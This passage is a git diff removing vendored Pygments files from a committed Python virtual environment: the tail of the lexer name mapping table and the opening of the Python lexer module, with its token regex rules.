('text/x-rexx',)), - 'RhtmlLexer': ('pip._vendor.pygments.lexers.templates', 'RHTML', ('rhtml', 'html+erb', 'html+ruby'), ('*.rhtml',), ('text/html+ruby',)), - 'RideLexer': ('pip._vendor.pygments.lexers.ride', 'Ride', ('ride',), ('*.ride',), ('text/x-ride',)), - 'RitaLexer': ('pip._vendor.pygments.lexers.rita', 'Rita', ('rita',), ('*.rita',), ('text/rita',)), - 'RoboconfGraphLexer': ('pip._vendor.pygments.lexers.roboconf', 'Roboconf Graph', ('roboconf-graph',), ('*.graph',), ()), - 'RoboconfInstancesLexer': ('pip._vendor.pygments.lexers.roboconf', 'Roboconf Instances', ('roboconf-instances',), ('*.instances',), ()), - 'RobotFrameworkLexer': ('pip._vendor.pygments.lexers.robotframework', 'RobotFramework', ('robotframework',), ('*.robot', '*.resource'), ('text/x-robotframework',)), - 'RocqLexer': ('pip._vendor.pygments.lexers.theorem', 'Rocq Prover', ('coq', 'rocq', 'rocq-prover'), ('*.v',), ('text/x-coq', 'text/x-rocq')), - 'RqlLexer': ('pip._vendor.pygments.lexers.sql', 'RQL', ('rql',), ('*.rql',), ('text/x-rql',)), - 'RslLexer': ('pip._vendor.pygments.lexers.dsls', 'RSL', ('rsl',), ('*.rsl',), ('text/rsl',)), - 'RstLexer': ('pip._vendor.pygments.lexers.markup', 'reStructuredText', ('restructuredtext', 'rst', 'rest'), ('*.rst', '*.rest'), ('text/x-rst', 'text/prs.fallenstein.rst')), - 'RtsLexer': ('pip._vendor.pygments.lexers.trafficscript', 'TrafficScript', ('trafficscript', 'rts'), ('*.rts',), ()), - 'RubyConsoleLexer': ('pip._vendor.pygments.lexers.ruby', 'Ruby irb session', ('rbcon', 'irb'), (), ('text/x-ruby-shellsession',)), - 'RubyLexer': ('pip._vendor.pygments.lexers.ruby', 'Ruby', ('ruby', 'rb', 'duby'), ('*.rb', '*.rbw', 'Rakefile', '*.rake', '*.gemspec', '*.rbx', '*.duby', 'Gemfile', 'Vagrantfile'), ('text/x-ruby', 'application/x-ruby')), - 'RustLexer': ('pip._vendor.pygments.lexers.rust', 'Rust', ('rust', 'rs'), ('*.rs', '*.rs.in'), ('text/rust', 'text/x-rust')), - 'SASLexer': ('pip._vendor.pygments.lexers.sas', 'SAS', ('sas',), ('*.SAS', '*.sas'), ('text/x-sas', 'text/sas', 'application/x-sas')), - 'SLexer': ('pip._vendor.pygments.lexers.r', 'S', ('splus', 's', 'r'), ('*.S', '*.R', '.Rhistory', '.Rprofile', '.Renviron'), ('text/S-plus', 'text/S', 'text/x-r-source', 'text/x-r', 'text/x-R', 'text/x-r-history', 'text/x-r-profile')), - 'SMLLexer': ('pip._vendor.pygments.lexers.ml', 'Standard ML', ('sml',), ('*.sml', '*.sig', '*.fun'), ('text/x-standardml', 'application/x-standardml')), - 'SNBTLexer': ('pip._vendor.pygments.lexers.minecraft', 'SNBT', ('snbt',), ('*.snbt',), ('text/snbt',)), - 'SarlLexer': ('pip._vendor.pygments.lexers.jvm', 'SARL', ('sarl',), ('*.sarl',), ('text/x-sarl',)), - 'SassLexer': ('pip._vendor.pygments.lexers.css', 'Sass', ('sass',), ('*.sass',), ('text/x-sass',)), - 'SaviLexer': ('pip._vendor.pygments.lexers.savi', 'Savi', ('savi',), ('*.savi',), ()), - 'ScalaLexer': ('pip._vendor.pygments.lexers.jvm', 'Scala', ('scala',), ('*.scala',), ('text/x-scala',)), - 'ScamlLexer': ('pip._vendor.pygments.lexers.html', 'Scaml', ('scaml',), ('*.scaml',), ('text/x-scaml',)), - 'ScdocLexer': ('pip._vendor.pygments.lexers.scdoc', 'scdoc', ('scdoc', 'scd'), ('*.scd', '*.scdoc'), ()), - 'SchemeLexer': ('pip._vendor.pygments.lexers.lisp', 'Scheme', ('scheme', 'scm'), ('*.scm', '*.ss'), ('text/x-scheme', 'application/x-scheme')), - 'ScilabLexer': ('pip._vendor.pygments.lexers.matlab', 'Scilab', ('scilab',), ('*.sci', '*.sce', '*.tst'), ('text/scilab',)), - 'ScssLexer': ('pip._vendor.pygments.lexers.css', 'SCSS', ('scss',), ('*.scss',), ('text/x-scss',)), - 'SedLexer': ('pip._vendor.pygments.lexers.textedit', 'Sed', ('sed', 'gsed', 'ssed'), ('*.sed', '*.[gs]sed'), ('text/x-sed',)), - 'ShExCLexer': ('pip._vendor.pygments.lexers.rdf', 'ShExC', ('shexc', 'shex'), ('*.shex',), ('text/shex',)), - 'ShenLexer': ('pip._vendor.pygments.lexers.lisp', 'Shen', ('shen',), ('*.shen',), ('text/x-shen', 'application/x-shen')), - 'SieveLexer': ('pip._vendor.pygments.lexers.sieve', 'Sieve', ('sieve',), ('*.siv', '*.sieve'), ()), - 'SilverLexer': ('pip._vendor.pygments.lexers.verification', 'Silver', ('silver',), ('*.sil', '*.vpr'), ()), - 'SingularityLexer': ('pip._vendor.pygments.lexers.configs', 'Singularity', ('singularity',), ('*.def', 'Singularity'), ()), - 'SlashLexer': ('pip._vendor.pygments.lexers.slash', 'Slash', ('slash',), ('*.sla',), ()), - 'SlimLexer': ('pip._vendor.pygments.lexers.webmisc', 'Slim', ('slim',), ('*.slim',), ('text/x-slim',)), - 'SlurmBashLexer': ('pip._vendor.pygments.lexers.shell', 'Slurm', ('slurm', 'sbatch'), ('*.sl',), ()), - 'SmaliLexer': ('pip._vendor.pygments.lexers.dalvik', 'Smali', ('smali',), ('*.smali',), ('text/smali',)), - 'SmalltalkLexer': ('pip._vendor.pygments.lexers.smalltalk', 'Smalltalk', ('smalltalk', 'squeak', 'st'), ('*.st',), ('text/x-smalltalk',)), - 'SmartGameFormatLexer': ('pip._vendor.pygments.lexers.sgf', 'SmartGameFormat', ('sgf',), ('*.sgf',), ()), - 'SmartyLexer': ('pip._vendor.pygments.lexers.templates', 'Smarty', ('smarty',), ('*.tpl',), ('application/x-smarty',)), - 'SmithyLexer': ('pip._vendor.pygments.lexers.smithy', 'Smithy', ('smithy',), ('*.smithy',), ()), - 'SnobolLexer': ('pip._vendor.pygments.lexers.snobol', 'Snobol', ('snobol',), ('*.snobol',), ('text/x-snobol',)), - 'SnowballLexer': ('pip._vendor.pygments.lexers.dsls', 'Snowball', ('snowball',), ('*.sbl',), ()), - 'SolidityLexer': ('pip._vendor.pygments.lexers.solidity', 'Solidity', ('solidity',), ('*.sol',), ()), - 'SoongLexer': ('pip._vendor.pygments.lexers.soong', 'Soong', ('androidbp', 'bp', 'soong'), ('Android.bp',), ()), - 'SophiaLexer': ('pip._vendor.pygments.lexers.sophia', 'Sophia', ('sophia',), ('*.aes',), ()), - 'SourcePawnLexer': ('pip._vendor.pygments.lexers.pawn', 'SourcePawn', ('sp',), ('*.sp',), ('text/x-sourcepawn',)), - 'SourcesListLexer': ('pip._vendor.pygments.lexers.installers', 'Debian Sourcelist', ('debsources', 'sourceslist', 'sources.list'), ('sources.list',), ()), - 'SparqlLexer': ('pip._vendor.pygments.lexers.rdf', 'SPARQL', ('sparql',), ('*.rq', '*.sparql'), ('application/sparql-query',)), - 'SpiceLexer': ('pip._vendor.pygments.lexers.spice', 'Spice', ('spice', 'spicelang'), ('*.spice',), ('text/x-spice',)), - 'SqlJinjaLexer': ('pip._vendor.pygments.lexers.templates', 'SQL+Jinja', ('sql+jinja',), ('*.sql', '*.sql.j2', '*.sql.jinja2'), ()), - 'SqlLexer': ('pip._vendor.pygments.lexers.sql', 'SQL', ('sql',), ('*.sql',), ('text/x-sql',)), - 'SqliteConsoleLexer': ('pip._vendor.pygments.lexers.sql', 'sqlite3con', ('sqlite3',), ('*.sqlite3-console',), ('text/x-sqlite3-console',)), - 'SquidConfLexer': ('pip._vendor.pygments.lexers.configs', 'SquidConf', ('squidconf', 'squid.conf', 'squid'), ('squid.conf',), ('text/x-squidconf',)), - 'SrcinfoLexer': ('pip._vendor.pygments.lexers.srcinfo', 'Srcinfo', ('srcinfo',), ('.SRCINFO',), ()), - 'SspLexer': ('pip._vendor.pygments.lexers.templates', 'Scalate Server Page', ('ssp',), ('*.ssp',), ('application/x-ssp',)), - 'StanLexer': ('pip._vendor.pygments.lexers.modeling', 'Stan', ('stan',), ('*.stan',), ()), - 'StataLexer': ('pip._vendor.pygments.lexers.stata', 'Stata', ('stata', 'do'), ('*.do', '*.ado'), ('text/x-stata', 'text/stata', 'application/x-stata')), - 'SuperColliderLexer': ('pip._vendor.pygments.lexers.supercollider', 'SuperCollider', ('supercollider', 'sc'), ('*.sc', '*.scd'), ('application/supercollider', 'text/supercollider')), - 'SwiftLexer': ('pip._vendor.pygments.lexers.objective', 'Swift', ('swift',), ('*.swift',), ('text/x-swift',)), - 'SwigLexer': ('pip._vendor.pygments.lexers.c_like', 'SWIG', ('swig',), ('*.swg', '*.i'), ('text/swig',)), - 'SystemVerilogLexer': ('pip._vendor.pygments.lexers.hdl', 'systemverilog', ('systemverilog', 'sv'), ('*.sv', '*.svh'), ('text/x-systemverilog',)), - 'SystemdLexer': ('pip._vendor.pygments.lexers.configs', 'Systemd', ('systemd',), ('*.service', '*.socket', '*.device', '*.mount', '*.automount', '*.swap', '*.target', '*.path', '*.timer', '*.slice', '*.scope'), ()), - 'TAPLexer': ('pip._vendor.pygments.lexers.testing', 'TAP', ('tap',), ('*.tap',), ()), - 'TNTLexer': ('pip._vendor.pygments.lexers.tnt', 'Typographic Number Theory', ('tnt',), ('*.tnt',), ()), - 'TOMLLexer': ('pip._vendor.pygments.lexers.configs', 'TOML', ('toml',), ('*.toml', 'Pipfile', 'poetry.lock'), ('application/toml',)), - 'TableGenLexer': ('pip._vendor.pygments.lexers.tablegen', 'TableGen', ('tablegen', 'td'), ('*.td',), ()), - 'TactLexer': ('pip._vendor.pygments.lexers.tact', 'Tact', ('tact',), ('*.tact',), ()), - 'Tads3Lexer': ('pip._vendor.pygments.lexers.int_fiction', 'TADS 3', ('tads3',), ('*.t',), ()), - 'TalLexer': ('pip._vendor.pygments.lexers.tal', 'Tal', ('tal', 'uxntal'), ('*.tal',), ('text/x-uxntal',)), - 'TasmLexer': ('pip._vendor.pygments.lexers.asm', 'TASM', ('tasm',), ('*.asm', '*.ASM', '*.tasm'), ('text/x-tasm',)), - 'TclLexer': ('pip._vendor.pygments.lexers.tcl', 'Tcl', ('tcl',), ('*.tcl', '*.rvt'), ('text/x-tcl', 'text/x-script.tcl', 'application/x-tcl')), - 'TcshLexer': ('pip._vendor.pygments.lexers.shell', 'Tcsh', ('tcsh', 'csh'), ('*.tcsh', '*.csh'), ('application/x-csh',)), - 'TcshSessionLexer': ('pip._vendor.pygments.lexers.shell', 'Tcsh Session', ('tcshcon',), (), ()), - 'TeaTemplateLexer': ('pip._vendor.pygments.lexers.templates', 'Tea', ('tea',), ('*.tea',), ('text/x-tea',)), - 'TealLexer': ('pip._vendor.pygments.lexers.teal', 'teal', ('teal',), ('*.teal',), ()), - 'TeraTermLexer': ('pip._vendor.pygments.lexers.teraterm', 'Tera Term macro', ('teratermmacro', 'teraterm', 'ttl'), ('*.ttl',), ('text/x-teratermmacro',)), - 'TermcapLexer': ('pip._vendor.pygments.lexers.configs', 'Termcap', ('termcap',), ('termcap', 'termcap.src'), ()), - 'TerminfoLexer': ('pip._vendor.pygments.lexers.configs', 'Terminfo', ('terminfo',), ('terminfo', 'terminfo.src'), ()), - 'TerraformLexer': ('pip._vendor.pygments.lexers.configs', 'Terraform', ('terraform', 'tf', 'hcl'), ('*.tf', '*.hcl'), ('application/x-tf', 'application/x-terraform')), - 'TexLexer': ('pip._vendor.pygments.lexers.markup', 'TeX', ('tex', 'latex'), ('*.tex', '*.aux', '*.toc'), ('text/x-tex', 'text/x-latex')), - 'TextLexer': ('pip._vendor.pygments.lexers.special', 'Text only', ('text',), ('*.txt',), ('text/plain',)), - 'ThingsDBLexer': ('pip._vendor.pygments.lexers.thingsdb', 'ThingsDB', ('ti', 'thingsdb'), ('*.ti',), ()), - 'ThriftLexer': ('pip._vendor.pygments.lexers.dsls', 'Thrift', ('thrift',), ('*.thrift',), ('application/x-thrift',)), - 'TiddlyWiki5Lexer': ('pip._vendor.pygments.lexers.markup', 'tiddler', ('tid',), ('*.tid',), ('text/vnd.tiddlywiki',)), - 'TlbLexer': ('pip._vendor.pygments.lexers.tlb', 'Tl-b', ('tlb',), ('*.tlb',), ()), - 'TlsLexer': ('pip._vendor.pygments.lexers.tls', 'TLS Presentation Language', ('tls',), (), ()), - 'TodotxtLexer': ('pip._vendor.pygments.lexers.textfmts', 'Todotxt', ('todotxt',), ('todo.txt', '*.todotxt'), ('text/x-todo',)), - 'TransactSqlLexer': ('pip._vendor.pygments.lexers.sql', 'Transact-SQL', ('tsql', 't-sql'), ('*.sql',), ('text/x-tsql',)), - 'TreetopLexer': ('pip._vendor.pygments.lexers.parsers', 'Treetop', ('treetop',), ('*.treetop', '*.tt'), ()), - 'TsxLexer': ('pip._vendor.pygments.lexers.jsx', 'TSX', ('tsx',), ('*.tsx',), ('text/typescript-tsx',)), - 'TurtleLexer': ('pip._vendor.pygments.lexers.rdf', 'Turtle', ('turtle',), ('*.ttl',), ('text/turtle', 'application/x-turtle')), - 'TwigHtmlLexer': ('pip._vendor.pygments.lexers.templates', 'HTML+Twig', ('html+twig',), ('*.twig',), ('text/html+twig',)), - 'TwigLexer': ('pip._vendor.pygments.lexers.templates', 'Twig', ('twig',), (), ('application/x-twig',)), - 'TypeScriptLexer': ('pip._vendor.pygments.lexers.javascript', 'TypeScript', ('typescript', 'ts'), ('*.ts',), ('application/x-typescript', 'text/x-typescript')), - 'TypoScriptCssDataLexer': ('pip._vendor.pygments.lexers.typoscript', 'TypoScriptCssData', ('typoscriptcssdata',), (), ()), - 'TypoScriptHtmlDataLexer': ('pip._vendor.pygments.lexers.typoscript', 'TypoScriptHtmlData', ('typoscripthtmldata',), (), ()), - 'TypoScriptLexer': ('pip._vendor.pygments.lexers.typoscript', 'TypoScript', ('typoscript',), ('*.typoscript',), ('text/x-typoscript',)), - 'TypstLexer': ('pip._vendor.pygments.lexers.typst', 'Typst', ('typst',), ('*.typ',), ('text/x-typst',)), - 'UL4Lexer': ('pip._vendor.pygments.lexers.ul4', 'UL4', ('ul4',), ('*.ul4',), ()), - 'UcodeLexer': ('pip._vendor.pygments.lexers.unicon', 'ucode', ('ucode',), ('*.u', '*.u1', '*.u2'), ()), - 'UniconLexer': ('pip._vendor.pygments.lexers.unicon', 'Unicon', ('unicon',), ('*.icn',), ('text/unicon',)), - 'UnixConfigLexer': ('pip._vendor.pygments.lexers.configs', 'Unix/Linux config files', ('unixconfig', 'linuxconfig'), (), ()), - 'UrbiscriptLexer': ('pip._vendor.pygments.lexers.urbi', 'UrbiScript', ('urbiscript',), ('*.u',), ('application/x-urbiscript',)), - 'UrlEncodedLexer': ('pip._vendor.pygments.lexers.html', 'urlencoded', ('urlencoded',), (), ('application/x-www-form-urlencoded',)), - 'UsdLexer': ('pip._vendor.pygments.lexers.usd', 'USD', ('usd', 'usda'), ('*.usd', '*.usda'), ()), - 'VBScriptLexer': ('pip._vendor.pygments.lexers.basic', 'VBScript', ('vbscript',), ('*.vbs', '*.VBS'), ()), - 'VCLLexer': ('pip._vendor.pygments.lexers.varnish', 'VCL', ('vcl',), ('*.vcl',), ('text/x-vclsrc',)), - 'VCLSnippetLexer': ('pip._vendor.pygments.lexers.varnish', 'VCLSnippets', ('vclsnippets', 'vclsnippet'), (), ('text/x-vclsnippet',)), - 'VCTreeStatusLexer': ('pip._vendor.pygments.lexers.console', 'VCTreeStatus', ('vctreestatus',), (), ()), - 'VGLLexer': ('pip._vendor.pygments.lexers.dsls', 'VGL', ('vgl',), ('*.rpf',), ()), - 'ValaLexer': ('pip._vendor.pygments.lexers.c_like', 'Vala', ('vala', 'vapi'), ('*.vala', '*.vapi'), ('text/x-vala',)), - 'VbNetAspxLexer': ('pip._vendor.pygments.lexers.dotnet', 'aspx-vb', ('aspx-vb',), ('*.aspx', '*.asax', '*.ascx', '*.ashx', '*.asmx', '*.axd'), ()), - 'VbNetLexer': ('pip._vendor.pygments.lexers.dotnet', 'VB.net', ('vb.net', 'vbnet', 'lobas', 'oobas', 'sobas', 'visual-basic', 'visualbasic'), ('*.vb', '*.bas'), ('text/x-vbnet', 'text/x-vba')), - 'VelocityHtmlLexer': ('pip._vendor.pygments.lexers.templates', 'HTML+Velocity', ('html+velocity',), (), ('text/html+velocity',)), - 'VelocityLexer': ('pip._vendor.pygments.lexers.templates', 'Velocity', ('velocity',), ('*.vm', '*.fhtml'), ()), - 'VelocityXmlLexer': ('pip._vendor.pygments.lexers.templates', 'XML+Velocity', ('xml+velocity',), (), ('application/xml+velocity',)), - 'VerifpalLexer': ('pip._vendor.pygments.lexers.verifpal', 'Verifpal', ('verifpal',), ('*.vp',), ('text/x-verifpal',)), - 'VerilogLexer': ('pip._vendor.pygments.lexers.hdl', 'verilog', ('verilog', 'v'), ('*.v',), ('text/x-verilog',)), - 'VhdlLexer': ('pip._vendor.pygments.lexers.hdl', 'vhdl', ('vhdl',), ('*.vhdl', '*.vhd'), ('text/x-vhdl',)), - 'VimLexer': ('pip._vendor.pygments.lexers.textedit', 'VimL', ('vim',), ('*.vim', '.vimrc', '.exrc', '.gvimrc', '_vimrc', '_exrc', '_gvimrc', 'vimrc', 'gvimrc'), ('text/x-vim',)), - 'VisualPrologGrammarLexer': ('pip._vendor.pygments.lexers.vip', 'Visual Prolog Grammar', ('visualprologgrammar',), ('*.vipgrm',), ()), - 'VisualPrologLexer': ('pip._vendor.pygments.lexers.vip', 'Visual Prolog', ('visualprolog',), ('*.pro', '*.cl', '*.i', '*.pack', '*.ph'), ()), - 'VueLexer': ('pip._vendor.pygments.lexers.html', 'Vue', ('vue',), ('*.vue',), ()), - 'VyperLexer': ('pip._vendor.pygments.lexers.vyper', 'Vyper', ('vyper',), ('*.vy',), ()), - 'WDiffLexer': ('pip._vendor.pygments.lexers.diff', 'WDiff', ('wdiff',), ('*.wdiff',), ()), - 'WatLexer': ('pip._vendor.pygments.lexers.webassembly', 'WebAssembly', ('wast', 'wat'), ('*.wat', '*.wast'), ()), - 'WebIDLLexer': ('pip._vendor.pygments.lexers.webidl', 'Web IDL', ('webidl',), ('*.webidl',), ()), - 'WgslLexer': ('pip._vendor.pygments.lexers.wgsl', 'WebGPU Shading Language', ('wgsl',), ('*.wgsl',), ('text/wgsl',)), - 'WhileyLexer': ('pip._vendor.pygments.lexers.whiley', 'Whiley', ('whiley',), ('*.whiley',), ('text/x-whiley',)), - 'WikitextLexer': ('pip._vendor.pygments.lexers.markup', 'Wikitext', ('wikitext', 'mediawiki'), (), ('text/x-wiki',)), - 'WoWTocLexer': ('pip._vendor.pygments.lexers.wowtoc', 'World of Warcraft TOC', ('wowtoc',), ('*.toc',), ()), - 'WrenLexer': ('pip._vendor.pygments.lexers.wren', 'Wren', ('wren',), ('*.wren',), ()), - 'X10Lexer': ('pip._vendor.pygments.lexers.x10', 'X10', ('x10', 'xten'), ('*.x10',), ('text/x-x10',)), - 'XMLUL4Lexer': ('pip._vendor.pygments.lexers.ul4', 'XML+UL4', ('xml+ul4',), ('*.xmlul4',), ()), - 'XQueryLexer': ('pip._vendor.pygments.lexers.webmisc', 'XQuery', ('xquery', 'xqy', 'xq', 'xql', 'xqm'), ('*.xqy', '*.xquery', '*.xq', '*.xql', '*.xqm'), ('text/xquery', 'application/xquery')), - 'XmlDjangoLexer': ('pip._vendor.pygments.lexers.templates', 'XML+Django/Jinja', ('xml+django', 'xml+jinja'), ('*.xml.j2', '*.xml.jinja2'), ('application/xml+django', 'application/xml+jinja')), - 'XmlErbLexer': ('pip._vendor.pygments.lexers.templates', 'XML+Ruby', ('xml+ruby', 'xml+erb'), (), ('application/xml+ruby',)), - 'XmlLexer': ('pip._vendor.pygments.lexers.html', 'XML', ('xml',), ('*.xml', '*.xsl', '*.rss', '*.xslt', '*.xsd', '*.wsdl', '*.wsf', '*.xbrl', '*.pom'), ('text/xml', 'application/xml', 'image/svg+xml', 'application/rss+xml', 'application/atom+xml')), - 'XmlPhpLexer': ('pip._vendor.pygments.lexers.templates', 'XML+PHP', ('xml+php',), (), ('application/xml+php',)), - 'XmlSmartyLexer': ('pip._vendor.pygments.lexers.templates', 'XML+Smarty', ('xml+smarty',), (), ('application/xml+smarty',)), - 'XorgLexer': ('pip._vendor.pygments.lexers.xorg', 'Xorg', ('xorg.conf',), ('xorg.conf',), ()), - 'XppLexer': ('pip._vendor.pygments.lexers.dotnet', 'X++', ('xpp', 'x++'), ('*.xpp',), ()), - 'XsltLexer': ('pip._vendor.pygments.lexers.html', 'XSLT', ('xslt',), ('*.xsl', '*.xslt', '*.xpl'), ('application/xsl+xml', 'application/xslt+xml')), - 'XtendLexer': ('pip._vendor.pygments.lexers.jvm', 'Xtend', ('xtend',), ('*.xtend',), ('text/x-xtend',)), - 'XtlangLexer': ('pip._vendor.pygments.lexers.lisp', 'xtlang', ('extempore',), ('*.xtm',), ()), - 'YamlJinjaLexer': ('pip._vendor.pygments.lexers.templates', 'YAML+Jinja', ('yaml+jinja', 'salt', 'sls'), ('*.sls', '*.yaml.j2', '*.yml.j2', '*.yaml.jinja2', '*.yml.jinja2'), ('text/x-yaml+jinja', 'text/x-sls')), - 'YamlLexer': ('pip._vendor.pygments.lexers.data', 'YAML', ('yaml',), ('*.yaml', '*.yml'), ('text/x-yaml',)), - 'YangLexer': ('pip._vendor.pygments.lexers.yang', 'YANG', ('yang',), ('*.yang',), ('application/yang',)), - 'YaraLexer': ('pip._vendor.pygments.lexers.yara', 'YARA', ('yara', 'yar'), ('*.yar',), ('text/x-yara',)), - 'ZeekLexer': ('pip._vendor.pygments.lexers.dsls', 'Zeek', ('zeek', 'bro'), ('*.zeek', '*.bro'), ()), - 'ZephirLexer': ('pip._vendor.pygments.lexers.php', 'Zephir', ('zephir',), ('*.zep',), ()), - 'ZigLexer': ('pip._vendor.pygments.lexers.zig', 'Zig', ('zig',), ('*.zig',), ('text/zig',)), - 'apdlexer': ('pip._vendor.pygments.lexers.apdlexer', 'ANSYS parametric design language', ('ansys', 'apdl'), ('*.ans',), ()), -} diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/lexers/python.py b/venv/Lib/site-packages/pip/_vendor/pygments/lexers/python.py deleted file mode 100644 index 0ec67e5c1188bb029753a0a213ebae883622f251..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pygments/lexers/python.py +++ /dev/null @@ -1,1204 +0,0 @@ -""" - pygments.lexers.python - ~~~~~~~~~~~~~~~~~~~~~~ - - Lexers for Python and related languages. - - :copyright: Copyright 2006-present by the Pygments team, see AUTHORS. - :license: BSD, see LICENSE for details. -""" - -import keyword - -from pip._vendor.pygments.lexer import DelegatingLexer, RegexLexer, include, \ - bygroups, using, default, words, combined, this -from pip._vendor.pygments.util import get_bool_opt, shebang_matches -from pip._vendor.pygments.token import Text, Comment, Operator, Keyword, Name, String, \ - Number, Punctuation, Generic, Other, Error, Whitespace -from pip._vendor.pygments import unistring as uni - -__all__ = ['PythonLexer', 'PythonConsoleLexer', 'PythonTracebackLexer', - 'Python2Lexer', 'Python2TracebackLexer', - 'CythonLexer', 'DgLexer', 'NumPyLexer'] - - -class PythonLexer(RegexLexer): - """ - For Python source code (version 3.x). - - .. versionchanged:: 2.5 - This is now the default ``PythonLexer``. It is still available as the - alias ``Python3Lexer``. - """ - - name = 'Python' - url = 'https://www.python.org' - aliases = ['python', 'py', 'sage', 'python3', 'py3', 'bazel', 'starlark', 'pyi'] - filenames = [ - '*.py', - '*.pyw', - # Type stubs - '*.pyi', - # Jython - '*.jy', - # Sage - '*.sage', - # SCons - '*.sc', - 'SConstruct', - 'SConscript', - # Skylark/Starlark (used by Bazel, Buck, and Pants) - '*.bzl', - 'BUCK', - 'BUILD', - 'BUILD.bazel', - 'WORKSPACE', - # Twisted Application infrastructure - '*.tac', - # Execubot level format - '*.pye', - ] - mimetypes = ['text/x-python', 'application/x-python', - 'text/x-python3', 'application/x-python3'] - version_added = '0.10' - - uni_name = f"[{uni.xid_start}][{uni.xid_continue}]*" - - def innerstring_rules(ttype): - return [ - # the old style '%s' % (...) string formatting (still valid in Py3) - (r'%(\(\w+\))?[-#0 +]*([0-9]+|[*])?(\.([0-9]+|[*]))?' - '[hlL]?[E-GXc-giorsaux%]', String.Interpol), - # the new style '{}'.format(...) string formatting - (r'\{' - r'((\w+)((\.\w+)|(\[[^\]]+\]))*)?' # field name - r'(\![sra])?' # conversion - r'(\:(.?[<>=\^])?[-+ ]?#?0?(\d+)?,?(\.\d+)?[E-GXb-gnosx%]?)?' - r'\}', String.Interpol), - - # backslashes, quotes and formatting signs must be parsed one at a time - (r'[^\\\'"%{\n]+', ttype), - (r'[\'"\\]', ttype), - # unhandled string formatting sign - (r'%|(\{{1,2})', ttype) - # newlines are an error (use "nl" state) - ] - - def fstring_rules(ttype): - return [ - # Assuming that a '}' is the closing brace after format specifier. - # Sadly, this means that we won't detect syntax error. But it's - # more important to parse correct syntax correctly, than to - # highlight invalid syntax. - (r'\}', String.Interpol), - (r'\{', String.Interpol, 'expr-inside-fstring'), - # backslashes, quotes and formatting signs must be parsed one at a time - (r'[^\\\'"{}\n]+', ttype), - (r'[\'"\\]', ttype), - # newlines are an error (use "nl" state) - ] - - tokens = { - 'root': [ - (r'\n', Whitespace), - (r'^(\s*)([rRuUbB]{,2})("""(?:.|\n)*?""")', - bygroups(Whitespace, String.Affix, String.Doc)), - (r"^(\s*)([rRuUbB]{,2})('''(?:.|\n)*?''')", - bygroups(Whitespace, String.Affix, String.Doc)), - (r'\A#!.+$', Comment.Hashbang), - (r'#.*$', Comment.Single), - (r'\\\n', Text), - (r'\\', Text), - include('keywords'), - include('soft-keywords'), - (r'(def)((?:\s|\\\s)+)', bygroups(Keyword, Whitespace), 'funcname'), - (r'(class)((?:\s|\\\s)+)', bygroups(Keyword, Whitespace), 'classname'), - (r'(from)((?:\s|\\\s)+)', bygroups(Keyword.Namespace, Whitespace), - 'fromimport'), - (r'(import)((?:\s|\\\s)+)', bygroups(Keyword.Namespace, Whitespace), - 'import'), - include('expr'), - ], - 'expr': [ - # raw f-strings and t-strings - ('(?i)(r[ft]|[ft]r)(""")', - bygroups(String.Affix, String.Double), - combined('rfstringescape', 'tdqf')), - ("(?i)(r[ft]|[ft]r)(''')", - bygroups(String.Affix, String.Single), - combined('rfstringescape', 'tsqf')), - ('(?i)(r[ft]|[ft]r)(")', - bygroups(String.Affix, String.Double), - combined('rfstringescape', 'dqf')), - ("(?i)(r[ft]|[ft]r)(')", - bygroups(String.Affix, String.Single), - combined('rfstringescape', 'sqf')), - # non-raw f-strings and t-strings - ('([fFtT])(""")', bygroups(String.Affix, String.Double), - combined('fstringescape', 'tdqf')), - ("([fFtT])(''')", bygroups(String.Affix, String.Single), - combined('fstringescape', 'tsqf')), - ('([fFtT])(")', bygroups(String.Affix, String.Double), - combined('fstringescape', 'dqf')), - ("([fFtT])(')", bygroups(String.Affix, String.Single), - combined('fstringescape', 'sqf')), - # raw bytes and strings - ('(?i)(rb|br|r)(""")', - bygroups(String.Affix, String.Double), 'tdqs'), - ("(?i)(rb|br|r)(''')", - bygroups(String.Affix, String.Single), 'tsqs'), - ('(?i)(rb|br|r)(")', - bygroups(String.Affix, String.Double), 'dqs'), - ("(?i)(rb|br|r)(')", - bygroups(String.Affix, String.Single), 'sqs'), - # non-raw strings - ('([uU]?)(""")', bygroups(String.Affix, String.Double), - combined('stringescape', 'tdqs')), - ("([uU]?)(''')", bygroups(String.Affix, String.Single), - combined('stringescape', 'tsqs')), - ('([uU]?)(")', bygroups(String.Affix, String.Double), - combined('stringescape', 'dqs')), - ("([uU]?)(')", bygroups(String.Affix, String.Single), - combined('stringescape', 'sqs')), - # non-raw bytes - ('([bB])(""")', bygroups(String.Affix, String.Double), - combined('bytesescape', 'tdqs')), - ("([bB])(''')", bygroups(String.Affix, String.Single), - combined('bytesescape', 'tsqs')), - ('([bB])(")', bygroups(String.Affix, String.Double), - combined('bytesescape', 'dqs')), - ("([bB])(')", bygroups(String.Affix, String.Single), - combined('bytesescape', 'sqs')), - - (r'[^\S\n]+', Text), - include('numbers'), - (r'!=|==|<<|>>|:=|[-~+/*%=<>&^|.]', Operator), - (r'[]{}:(),;[]', Punctuation), - (r'(in|is|and|or|not)\b', Operator.Word), - include('expr-keywords'), - include('builtins'), - include('magicfuncs'), - include('magicvars'), - include('name'), - ], - 'expr-inside-fstring': [ - (r'[{([]', Punctuation, 'expr-inside-fstring-inner'), - # without format specifier - (r'(=\s*)?' # debug (https://bugs.python.org/issue36817) - r'(\![sraf])?' # conversion - r'\}', String.Interpol, '#pop'), - # with format specifier - # we'll catch the remaining '}' in the outer scope - (r'(=\s*)?' # debug (https://bugs.python.org/issue36817) - r'(\![sraf])?' # conversion - r':', String.Interpol, '#pop'), - (r'\s+', Whitespace), # allow new lines - include('expr'), - ], - 'expr-inside-fstring-inner': [ - (r'[{([]', Punctuation, 'expr-inside-fstring-inner'), - (r'[])}]', Punctuation, '#pop'), - (r'\s+', Whitespace), # allow new lines - include('expr'), - ], - 'expr-keywords': [ - # Based on https://docs.python.org/3/reference/expressions.html - (words(( - 'async for', 'await', 'else', 'for', 'if', 'lambda', - 'yield', 'yield from'), suffix=r'\b'), - Keyword), - (words(('True', 'False', 'None'), suffix=r'\b'), Keyword.Constant), - ], - 'keywords': [ - (words(( - 'assert', 'async', 'await', 'break', 'continue', 'del', 'elif', - 'else', 'except', 'finally', 'for', 'global', 'if', 'lambda', - 'pass', 'raise', 'nonlocal', 'return', 'try', 'while', 'yield', - 'yield from', 'as', 'with'), suffix=r'\b'), - Keyword), - (words(('True', 'False', 'None'), suffix=r'\b'), Keyword.Constant), - ], - 